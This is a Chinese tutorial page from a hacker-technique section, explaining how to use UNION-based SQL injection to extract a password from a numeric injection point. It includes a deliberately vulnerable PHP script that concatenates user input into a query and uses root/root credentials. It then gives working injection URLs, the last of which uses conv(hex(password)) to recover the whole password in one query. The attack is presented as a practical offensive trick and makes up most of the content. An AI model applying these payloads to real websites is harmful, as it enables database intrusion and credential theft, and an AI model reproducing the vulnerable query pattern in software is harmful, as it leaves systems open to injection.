网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > 入门教程 > Union查询小技巧  

Union查询小技巧

2008-07-02  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主) 网管bitscn_com

mysql> select * from test; +------+----------+----------+ | id   | username | password | +------+----------+----------+ |    1 | admin    | admin888 | +------+----------+----------+ 1 row in set (0.03 sec)
mysql> select * from test;<br/>+------+----------+----------+<br/>| id   | username | password |<br/>+------+----------+----------+<br/>|    1 | admin    | admin888 |<br/>+------+----------+----------+<br/>1 row in set (0.03 sec)
test.php:

网管网www.bitscn.com

<?    $id=$_GET['id'];    $lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());    mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());    $query = "SELECT count(*) FROM test where id=$id";    $result = mysql_query($query);    while($result_row = mysql_fetch_row($result))    {        if(($result_row[0])&&is_numeric($result_row[0])){             echo $result_row[0];        }    }    ?>  
<?   <br/>$id=$_GET['id'];   <br/>$lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());   <br/>mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());   <br/>$query = "SELECT count(*) FROM test where id=$id";   <br/>$result = mysql_query($query);   <br/>while($result_row = mysql_fetch_row($result))   <br/>{   <br/>    if(($result_row[0])&&is_numeric($result_row[0])){   <br/>         echo $result_row[0];   <br/>    }   <br/>}   <br/>?>  

网管网www_bitscn_com


大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:

网管下载dl.bitscn.com

http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23 网管u家u.bitscn@com

返回结果为8。OK,再来: 网管联盟bitsCN@com

http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test 网管u家u.bitscn@com

返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:

网管联盟bitsCN_com

http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test 网管网www_bitscn_com

返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都“昂第二是蛋的”了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。
Ok!扯淡完毕。
中国网管论坛bbs.bitsCN.com



TAGs
 上一篇:入侵新技巧-CMD下加sql账号   下一篇:SQL注射修改难猜解的MD5
Union查询小技巧 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: